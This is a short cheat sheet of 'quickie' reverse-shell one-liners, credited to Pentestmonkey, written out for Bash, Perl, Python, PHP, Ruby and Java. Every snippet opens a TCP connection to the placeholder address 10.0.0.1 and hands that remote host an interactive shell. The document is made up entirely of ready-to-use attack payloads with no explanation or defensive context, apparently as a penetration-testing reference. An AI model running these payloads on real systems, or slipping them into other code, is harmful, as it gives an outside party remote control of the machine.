QUICKIE REVERSE SHELLS

FROM PENTESTMONKEY

BASH

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

PERL

```
perl -e ‘use Socket;$i=”10.0.0.1”;$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);
open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
```

PYTHON

```
python -c ‘import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);’
```

PHP

If it doesn’t work, try 4, 5, 6...

```
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);
exec(“/bin/sh -i <&3 >&3 2>&3”);’
```

RUBY

```
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;
exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
```

JAVA

```
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;
cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()
```